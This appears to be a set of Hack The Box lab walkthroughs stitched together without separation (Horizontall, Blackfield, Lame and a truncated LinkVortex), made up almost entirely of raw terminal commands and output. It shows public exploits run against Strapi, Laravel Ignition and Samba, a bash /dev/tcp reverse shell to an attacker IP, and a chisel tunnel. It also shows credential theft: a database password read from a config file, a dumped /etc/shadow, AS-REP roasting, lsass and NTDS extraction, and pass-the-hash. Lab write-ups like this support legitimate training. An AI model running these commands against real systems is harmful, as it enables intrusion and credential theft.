[*] Open ports: 22,80
[*] Ports copied to clipboard❯ nmap -sCV -p22,80 10.10.11.105 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-19 12:25 CET
Nmap scan report for horizontall.htb (10.10.11.105)
Host is up (0.062s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
| 256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_ 256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: horizontall
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 92.59 ms 10.10.16.1
2 28.04 ms horizontall.htb (10.10.11.105)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.40 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ cat /etc/hosts | grep horizontall
10.10.11.105 horizontall.htb❯ whatweb http://horizontall.htb
http://horizontall.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.14.0 (Ubuntu)], IP[10.10.11.105], Script, Title[horizontall], X-UA-Compatible[IE=edge], nginx[1.14.0]❯ wfuzz --hh=194 -c --hc=404,400 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -H "Host: FUZZ.horizontall.htb" http://horizontall.htb 2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://horizontall.htb/
Total requests: 220548
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000173: 200 1 L 43 W 901 Ch "www" ❯ feroxbuster -u http://horizontall.htb/ -t 200 -C 500,502,404
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://horizontall.htb/
🚀 Threads │ 200
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
💢 Status Code Filters │ [500, 502, 404]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 7l 13w 178c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 7l 13w 194c http://horizontall.htb/js => http://horizontall.htb/js/
301 GET 7l 13w 194c http://horizontall.htb/css => http://horizontall.htb/css/
301 GET 7l 13w 194c http://horizontall.htb/img => http://horizontall.htb/img/
200 GET 1l 5w 720c http://horizontall.htb/css/app.0f40a091.css
200 GET 1l 35w 6796c http://horizontall.htb/favicon.ico
200 GET 2l 394w 18900c http://horizontall.htb/js/app.c68eb462.js
200 GET 10l 2803w 218981c http://horizontall.htb/css/chunk-vendors.55204a1e.css
200 GET 55l 86826w 1190830c http://horizontall.htb/js/chunk-vendors.0e02b89e.js
200 GET 1l 43w 901c http://horizontall.htb/❯ curl -s -X GET 'http://horizontall.htb/js/app.c68eb462.js' -o app.js
❯ ls -l app.js
.rw-rw-r-- kali kali 18 KB Wed Feb 19 12:33:18 2025 app.js❯ js-beautify app.js
...[snip]...
components: {
Navbar: v,
Home: w
},
data: function() {
return {
reviews: []
}
},
methods: {
getReviews: function() {
var t = this;
r.a.get("http://api-prod.horizontall.htb/reviews").then((function(s) {
return t.reviews = s.data
}))
}
}
},❯ cat /etc/hosts | grep horizontall
10.10.11.105 horizontall.htb api-prod.horizontall.htb❯ feroxbuster -u http://api-prod.horizontall.htb/ -t 200 -C 500,502,404
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://api-prod.horizontall.htb/
🚀 Threads │ 200
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
💢 Status Code Filters │ [500, 502, 404]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 1l 3w 60c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 19l 33w 413c http://api-prod.horizontall.htb/
200 GET 16l 101w 854c http://api-prod.horizontall.htb/Admin
200 GET 223l 1051w 9230c http://api-prod.horizontall.htb/admin/runtime~main.d078dc17.js
403 GET 1l 1w 60c http://api-prod.horizontall.htb/users
200 GET 16l 101w 854c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 16l 101w 854c http://api-prod.horizontall.htb/ADMIN
200 GET 1l 21w 507c http://api-prod.horizontall.htb/reviews
200 GET 1l 1w 90c http://api-prod.horizontall.htb/admin/layout
403 GET 1l 1w 60c http://api-prod.horizontall.htb/admin/plugins
403 GET 1l 1w 60c http://api-prod.horizontall.htb/Users
200 GET 0l 0w 7001634c http://api-prod.horizontall.htb/admin/main.da91597e.chunk.js
200 GET 16l 101w 854c http://api-prod.horizontall.htb/admin
200 GET 1l 1w 144c http://api-prod.horizontall.htb/admin/init
200 GET 1l 1w 90c http://api-prod.horizontall.htb/admin/Layout❯ curl -s -X GET 'http://api-prod.horizontall.htb/admin/main.da91597e.chunk.js' | grep strapi-plugin | head -n5
module.exports = JSON.parse("{\"_from\":\"strapi-plugin-content-type-builder@3.0.0-beta.17.4\"❯ searchsploit Strapi
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Strapi 3.0.0-beta - Set Password (Unauthenticated) | multiple/webapps/50237.py
Strapi 3.0.0-beta.17.7 - Remote Code Execution (RCE) (Authenticated) | multiple/webapps/50238.py
Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution (RCE) (Unauthenticated) | multiple/webapps/50239.py
Strapi CMS 3.0.0-beta.17.4 - Set Password (Unauthenticated) (Metasploit) | nodejs/webapps/50716.rb
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results❯ git clone https://github.com/glowbase/CVE-2019-19609; cd CVE-2019-19609
Clonando en 'CVE-2019-19609'...
remote: Enumerating objects: 18, done.
remote: Counting objects: 100% (18/18), done.
remote: Compressing objects: 100% (15/15), done.
remote: Total 18 (delta 4), reused 13 (delta 3), pack-reused 0 (from 0)
Recibiendo objetos: 100% (18/18), 5.13 KiB | 5.13 MiB/s, listo.
Resolviendo deltas: 100% (4/4), listo.❯ nc -nlvp 443
listening on [any] 443 ...❯ python3 exploit.py http://api-prod.horizontall.htb 10.10.16.3 443
========================================================
| STRAPI REMOTE CODE EXECUTION (CVE-2019-19609) |
========================================================
[+] Checking Strapi CMS version
[+] Looks like this exploit should work!
[+] Executing exploit❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.105] 60270
/bin/sh: 0: can't access tty; job control turned off
$ whoami
strapi
$ ls -l /home
total 4
drwxr-xr-x 8 developer developer 4096 Aug 2 2021 developer
$ cat /home/developer/user.txt
37f728736e***********************$ script /dev/null -c bash
Script started, file is /dev/null
strapi@horizontall:~/myapi$ ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo;fg
[1] + continued nc -nlvp 443
reset xterm
strapi@horizontall:~/myapi$ export TERM=xterm
strapi@horizontall:~/myapi$ export SHELL=bash
strapi@horizontall:~/myapi$ stty rows 46 columns 230strapi@horizontall:~/myapi/config/environments/development$ cat database.json
{
"defaultConnection": "default",
"connections": {
"default": {
"connector": "strapi-hook-bookshelf",
"settings": {
"client": "mysql",
"database": "strapi",
"host": "127.0.0.1",
"port": 3306,
"username": "developer",
"password": "#J!:F9Zt2u"
},
"options": {}
}
}
}strapi@horizontall:~/myapi/config/environments/development$ mysql -h localhost -e "show tables;" -u developer -p strapi
Enter password:
+------------------------------+
| Tables_in_strapi |
+------------------------------+
| core_store |
| reviews |
| strapi_administrator |
| upload_file |
| upload_file_morph |
| users-permissions_permission |
| users-permissions_role |
| users-permissions_user |
+------------------------------+strapi@horizontall:~/myapi/config/environments/development$ mysql -h localhost -e "SELECT * FROM strapi_administrator;" -u developer -p strapi
Enter password:
+----+----------+-----------------------+--------------------------------------------------------------+--------------------+---------+
| id | username | email | password | resetPasswordToken | blocked |
+----+----------+-----------------------+--------------------------------------------------------------+--------------------+---------+
| 3 | admin | admin@horizontall.htb | $2a$10$E6rb7Yal9gAo/rMmf2dOiOmgFOfelmn9s4eI55vhfQ3LPsjrrpi2i | NULL | NULL |
+----+----------+-----------------------+--------------------------------------------------------------+--------------------+---------+strapi@horizontall:~/myapi$ netstat -ano | grep LISTEN
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:1337 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN off (0.00/0/0)
tcp6 0 0 :::80 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::22 :::* LISTEN off (0.00/0/0)strapi@horizontall:~/myapi$ curl 127.0.0.1:8000
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Laravel</title>❯ ls -l chisel
.rwxr-xr-x kali kali 8.9 MB Sun Feb 16 03:43:15 2025 chisel
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...strapi@horizontall:/tmp$ wget 10.10.16.3/chisel; chmod +x chisel
--2025-02-19 04:52:38-- http://10.10.16.3/chisel
Connecting to 10.10.16.3:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9371800 (8.9M) [application/octet-stream]
Saving to: ‘chisel’
chisel 100%[==========================>] 8.94M 8.63MB/s in 1.0s
2025-02-19 04:52:39 (8.63 MB/s) - ‘chisel’ saved [9371800/9371800]❯ ./chisel server --reverse -p 1234
2025/02/19 12:59:49 server: Reverse tunnelling enabled
2025/02/19 12:59:49 server: Fingerprint qrzwT378tyR4YNA2Jfg6h7jmt/4JDam5pCJFQ/67+og=
2025/02/19 12:59:49 server: Listening on http://0.0.0.0:1234strapi@horizontall:/tmp$ ./chisel client 10.10.16.3:1234 R:8000:127.0.0.1:8000
2025/02/19 04:56:49 client: Connecting to ws://10.10.16.3:1234
2025/02/19 04:56:50 client: Connected (Latency 31.034143ms)❯ gobuster dir -u http://localhost:8000/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -b 503,404
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://localhost:8000/
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404,503
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/profiles (Status: 500) [Size: 616202]❯ git clone https://github.com/ambionics/laravel-exploits; cd laravel-exploits
Clonando en 'laravel-exploits'...
remote: Enumerating objects: 9, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 9 (delta 0), reused 3 (delta 0), pack-reused 0 (from 0)
Recibiendo objetos: 100% (9/9), listo.❯ php -d'phar.readonly=0' /opt/phpggc/phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id
❯ python3 laravel-ignition-rce.py http://localhost:8000 /tmp/exploit.phar
+ Log file: /home/developer/myproject/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !
+ Phar deserialized
--------------------------
uid=0(root) gid=0(root) groups=0(root)
--------------------------
+ Logs cleared❯ nc -nlvp 443
listening on [any] 443 ...❯ php -d'phar.readonly=0' /opt/phpggc/phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system "/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.3/443 0>&1'"
❯ python3 laravel-ignition-rce.py http://localhost:8000 /tmp/exploit.phar
+ Log file: /home/developer/myproject/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.105] 49394
bash: cannot set terminal process group (4676): Inappropriate ioctl for device
bash: no job control in this shell
root@horizontall:/home/developer/myproject/public# cat /root/root.txt
cat /root/root.txt
2bdca812*************************❯ wget https://raw.githubusercontent.com/knqyf263/CVE-2021-3129/refs/heads/main/attacker/exploit.py
--2025-02-19 13:35:00-- https://raw.githubusercontent.com/knqyf263/CVE-2021-3129/refs/heads/main/attacker/exploit.py
Resolviendo raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.111.133, 185.199.108.133, ...
Conectando con raw.githubusercontent.com (raw.githubusercontent.com)[185.199.110.133]:443... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 3976 (3,9K) [text/plain]
Grabando a: «exploit.py»
exploit.py 100%[===================================================================================================================================>] 3,88K --.-KB/s en 0s
2025-02-19 13:35:00 (48,0 MB/s) - «exploit.py» guardado [3976/3976]def main():
Exploit("http://localhost:8000", "cat /etc/shadow")❯ python3 exploit.py
[*] Try to use monolog_rce1 for exploitation.
[+] PHPGGC found. Generating payload and deploy it to the target
[*] Result:
root:$6$rGxQBZV9$SbzCXDzp1MEx7xxXYuV5voXCy4k9OdyCDbyJcWuETBujfMrpfVtTXjbx82bTNlPK6Ayg8SqKMYgVlYukVOKJz1:18836:0:99999:7:::
daemon:*:18480:0:99999:7:::
bin:*:18480:0:99999:7:::
sys:*:18480:0:99999:7:::
sync:*:18480:0:99999:7:::
games:*:18480:0:99999:7:::
man:*:18480:0:99999:7:::
lp:*:18480:0:99999:7:::
mail:*:18480:0:99999:7:::
news:*:18480:0:99999:7:::
uucp:*:18480:0:99999:7:::
proxy:*:18480:0:99999:7:::
www-data:*:18480:0:99999:7:::
backup:*:18480:0:99999:7:::
list:*:18480:0:99999:7:::
irc:*:18480:0:99999:7:::
gnats:*:18480:0:99999:7:::
nobody:*:18480:0:99999:7:::
systemd-network:*:18480:0:99999:7:::
systemd-resolve:*:18480:0:99999:7:::
syslog:*:18480:0:99999:7:::
messagebus:*:18480:0:99999:7:::
_apt:*:18480:0:99999:7:::
lxd:*:18480:0:99999:7:::
uuidd:*:18480:0:99999:7:::
dnsmasq:*:18480:0:99999:7:::
landscape:*:18480:0:99999:7:::
pollinate:*:18480:0:99999:7:::
sshd:*:18772:0:99999:7:::
developer:$6$XWN/h2.z$Y6PfR1h7vDa5Hu8iHl4wo5PkWe/HWqdmDdWaCECJjvta71eNYMf9BhHCHiQ48c9FMlP4Srv/Dp6LtcbjrcVW40:18779:0:99999:7:::
mysql:!:18772:0:99999:7:::
strapi:$6$a9mzQsIs$YENaG2S/H/9aqnHRl.6Qg68lCYU9/nDxvpV0xYOn6seH.JSGtU6zqu0OhR6qy8bATowftM4qBJ2ZA5x9EDSUR.:18782:0:99999:7:::nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.192 -oG allPortsnmap -sCV -p53,88,135,389,445,593,3268,5985 10.10.10.192 -A -oN targeted -oX targetedXMLxsltproc targetedXML > index.html
python3 -m http.server 80ldapsearch -x -H ldap://10.10.10.192 -s base | grep defaultNamingContext
netexec smb 10.10.10.192catnp /etc/hosts | grep blackfieldNSrpcenum -e DUsers -i 10.10.10.192smbclient -L //10.10.10.192 -Nsmbmap -H 10.10.10.192 -u guest -p ''smbmap -H 10.10.10.192 -u guest -p '' -r profiles$/smbclient //10.10.10.192/profiles$ -U 'guest%'netexec smb 10.10.10.192 -u 'guest' -p '' --rid-brute | grep SidTypeUser | rev | awk '{print $2}' | rev | sed 's/BLACKFIELD\\//g' > users.txtkerbrute userenum --dc 10.10.10.192 -d BLACKFIELD.local users.txtcat valid_users.txt | rev | awk '{print $2}' FS="@" | rev | rev | awk '{print $1}' | rev | sponge valid_users.txtkerbrute userenum --dc 10.10.10.192 -d BLACKFIELD.local valid_users.txtimpacket-GetNPUsers -no-pass -usersfile valid_users.txt BLACKFIELD.local/ 2>/dev/nulljohn --format=krb5asrep hashes --wordlist=/usr/share/wordlists/rockyou.txtnetexec smb 10.10.10.192 -u 'support' -p '#00^BlackKnight'
netexec winrm 10.10.10.192 -u 'support' -p '#00^BlackKnight'smbmap -H 10.10.10.192 --no-banner -u support -p '#00^BlackKnight'impacket-GetUserSPNs -dc-ip 10.10.10.192 BLACKFIELD.local/support -requestldapdomaindump -u 'BLACKFIELD.local\support' -p '#00^BlackKnight' 10.10.10.192 -o ldapbloodhound-python -c all -u support -p '#00^BlackKnight' -d BLACKFIELD.local -ns 10.10.10.192net rpc password "audit2020" "Gzzcoo123" -U 'BLACKFIELD.local/support%#00^BlackKnight' -S 10.10.10.192
netexec smb 10.10.10.192 -u 'audit2020' -p 'Gzzcoo123'
netexec winrm 10.10.10.192 -u 'audit2020' -p 'Gzzcoo123'smbmap -H 10.10.10.192 --no-banner -u audit2020 -p 'Gzzcoo123'smbmap -H 10.10.10.192 --no-banner -u audit2020 -p 'Gzzcoo123' -r forensic/smbclient //10.10.10.192/forensic -U 'audit2020%Gzzcoo123'file lsass.DMP
pypykatz lsa minidump lsass.DMPevil-winrm -i 10.10.10.192 -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d'whoami /privreg save hklm\sam C:\Windows\Temp\test\SAM
reg save hklm\system C:\Windows\Temp\test\SYSTEM
download SAM
download SYSTEMsamdump2 SYSTEM SAMset context persistent nowriters
add volume c: alias gzzcoo
create
expose %gzzcoo% g: diskshadow.exe /s C:\Windows\Temp\test\diskshadow.txtrobocopy /b g:\Windows\NTDS\ . ntds.ditsecretsdump.py -system SYSTEM -ntds ntds.dit LOCAL❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.3 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-26 05:10 CET
Initiating SYN Stealth Scan at 05:10
Scanning 10.10.10.3 [65535 ports]
Discovered open port 139/tcp on 10.10.10.3
Discovered open port 445/tcp on 10.10.10.3
Discovered open port 22/tcp on 10.10.10.3
Discovered open port 21/tcp on 10.10.10.3
SYN Stealth Scan Timing: About 23.46% done; ETC: 05:13 (0:01:41 remaining)
SYN Stealth Scan Timing: About 51.91% done; ETC: 05:12 (0:00:57 remaining)
Discovered open port 3632/tcp on 10.10.10.3
Completed SYN Stealth Scan at 05:12, 101.61s elapsed (65535 total ports)
Nmap scan report for 10.10.10.3
Host is up, received user-set (0.034s latency).
Scanned at 2025-01-26 05:10:58 CET for 102s
Not shown: 65530 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 63
22/tcp open ssh syn-ack ttl 63
139/tcp open netbios-ssn syn-ack ttl 63
445/tcp open microsoft-ds syn-ack ttl 63
3632/tcp open distccd syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 101.73 seconds
Raw packets sent: 131143 (5.770MB) | Rcvd: 121 (7.908KB)
❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.10.3
[*] Open ports: 21,22,139,445,3632
[*] Ports copied to clipboard❯ nmap -sCV -p21,22,139,445,3632 10.10.10.3 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-26 05:13 CET
Nmap scan report for 10.10.10.3
Host is up (0.072s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.16.5
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.4.7 (92%), Linux 2.6.23 (90%), Linux 2.6.8 - 2.6.30 (90%), Linksys WRV54G WAP (89%), Arris TG562G/CT cable modem (88%), Dell Integrated Remote Access Controller (iDRAC6) (88%), Linksys WET54GS5 WAP, Tranzeo TR-CPQ-19f WAP, or Xerox WorkCentre Pro 265 printer (88%), Linux 2.4.21 - 2.4.31 (likely embedded) (88%), Dell iDRAC 6 remote access controller (Linux 2.6) (88%), Linux 2.6.32 - 3.10 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2025-01-25T23:14:36-05:00
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 2h30m27s, deviation: 3h32m12s, median: 24s
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 88.43 ms 10.10.16.1
2 88.57 ms 10.10.10.3
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.38 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ git clone https://github.com/amriunix/CVE-2007-2447; cd CVE-2007-2447
Clonando en 'CVE-2007-2447'...
remote: Enumerating objects: 11, done.
remote: Total 11 (delta 0), reused 0 (delta 0), pack-reused 11 (from 1)
Recibiendo objetos: 100% (11/11), listo.
Resolviendo deltas: 100% (3/3), listo.
❯ sudo apt install python python-pip
❯ pip install --user pysmb❯ nc -nlvp 443
listening on [any] 443 ...❯ python2 usermap_script.py 10.10.10.3 445 10.10.16.5 443
[*] CVE-2007-2447 - Samba usermap script
[+] Connecting !
[+] Payload was sent - check netcat !❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.3] 33725
script /dev/null -c bash
root@lame:/# cat /root/root.txt
f00f73d7************************
root@lame:/# ls -l /home
total 16
drwxr-xr-x 2 root nogroup 4096 Mar 17 2010 ftp
drwxr-xr-x 2 makis makis 4096 Mar 14 2017 makis
drwxr-xr-x 2 service service 4096 Apr 16 2010 service
drwxr-xr-x 3 1001 1001 4096 May 7 2010 user
root@lame:/# cat /home/makis/user.txt
7b790a73c535f6******************❯ nmap -p- --open -sS --min-rate 1000 -Pn -n 10.10.11.47 -oG allPorts
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-15 01:54 CET
Nmap scan report for 10.10.11.47
Host is up (0.051s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 16.12 seconds❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.47
[*] Open ports: 22,80
[*] Ports copied to clipboard❯ nmap -sCV -p22,80 10.10.11.47 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-15 01:56 CET
Nmap scan report for linkvortex.htb (10.10.11.47)
Host is up (0.080s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_ 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open http Apache httpd
|_http-server-header: Apache
| http-robots.txt: 4 disallowed entries
|_/ghost/ /p/ /email/ /r/
|_http-generator: Ghost 5.58
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 78.48 ms 10.10.16.1
2 39.16 ms linkvortex.htb (10.10.11.47)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.12 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ cat /etc/hosts | grep 10.10.11.47
10.10.11.47 linkvortex.htb❯ whatweb http://linkvortex.htb
http://linkvortex.htb [200 OK] Apache, Country[RESERVED][ZZ], HTML5, HTTPServer[Apache], IP[10.10.11.47], JQuery[3.5.1], MetaGenerator[Ghost 5.58], Open-Graph-Protocol[website], PoweredBy[Ghost,a], Script[application/ld+json], Title[BitByBit Hardware], X-Powered-By[Express], X-UA-Compatible[IE=edge]❯ wfuzz -c --hc=404 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -H "Host: FUZZ.linkvortex.htb" http://linkvortex.htb 2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://linkvortex.htb/
Total requests: 220545
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 301 7 L 20 W 230 Ch "index"
000000039: 301 7 L 20 W 230 Ch "login"
000000003: 301 7 L 20 W 230 Ch "download"
000000029: 301 7 L 20 W 230 Ch "sitemap"
000000009: 301 7 L 20 W 230 Ch "full"
000000027: 301 7 L 20 W 230 Ch "2005"
000000007: 301 7 L 20 W 230 Ch "serial" bas❯ wfuzz -c --hc=404,400 --hh=230 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -H "Host: FUZZ.linkvortex.htb" http://linkvortex.htb 2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://linkvortex.htb/
Total requests: 220545
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000820: 200 115 L 255 W 2538 Ch "dev" ❯ cat /etc/hosts | grep 10.10.11.47
10.10.11.47 linkvortex.htb dev.linkvortex.htb❯ dirsearch -u dev.linkvortex.htb 2>/dev/null
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/kali/Desktop/HackTheBox/Linux/LinkVortex/LinkVortex/content/reports/_dev.linkvortex.htb/_25-01-15_02-10-33.txt
Target: http://dev.linkvortex.htb/
[02:10:34] Starting:
[02:10:36] 301 - 239B - /.git -> http://dev.linkvortex.htb/.git/
[02:10:36] 200 - 41B - /.git/HEAD
[02:10:36] 200 - 620B - /.git/hooks/
[02:10:36] 200 - 201B - /.git/config
[02:10:36] 200 - 557B - /.git/
[02:10:36] 200 - 73B - /.git/description
[02:10:36] 200 - 402B - /.git/info/
[02:10:36] 200 - 401B - /.git/logs/
[02:10:36] 200 - 175B - /.git/logs/HEAD
[02:10:36] 200 - 240B - /.git/info/exclude
[02:10:36] 200 - 147B - /.git/packed-refs
[02:10:36] 200 - 418B - /.git/objects/
[02:10:36] 200 - 393B - /.git/refs/
